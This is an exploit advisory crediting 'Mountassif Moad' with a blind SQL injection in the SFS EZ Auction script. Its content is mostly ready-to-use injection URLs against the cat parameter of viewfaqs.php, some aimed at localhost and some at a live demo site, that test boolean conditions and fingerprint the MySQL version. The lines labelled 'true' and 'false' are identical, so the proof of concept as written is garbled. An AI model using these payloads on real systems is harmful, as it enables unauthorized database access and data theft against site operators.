########################################################################### # Kira has decide be back after halloween ########################################################################### # Discovered by : Mountassif Moad # Type Gap : Blind Sql Injection # Script : SFS EZ Auction Remote Blind sql injection # Home Script : http://www.scripts-for-sites.info/item.php?item=97 # Greetz : Allah , All my freind ########################################################################## P0c : http://localhost/viewfaqs.php?cat=1+and+1=1 true http://localhost/viewfaqs.php?cat=1+and+1=1 false http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1 true http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1 false Exploit : http://localhost/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=5 http://localhost/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=4 Demo : http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=5 http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=4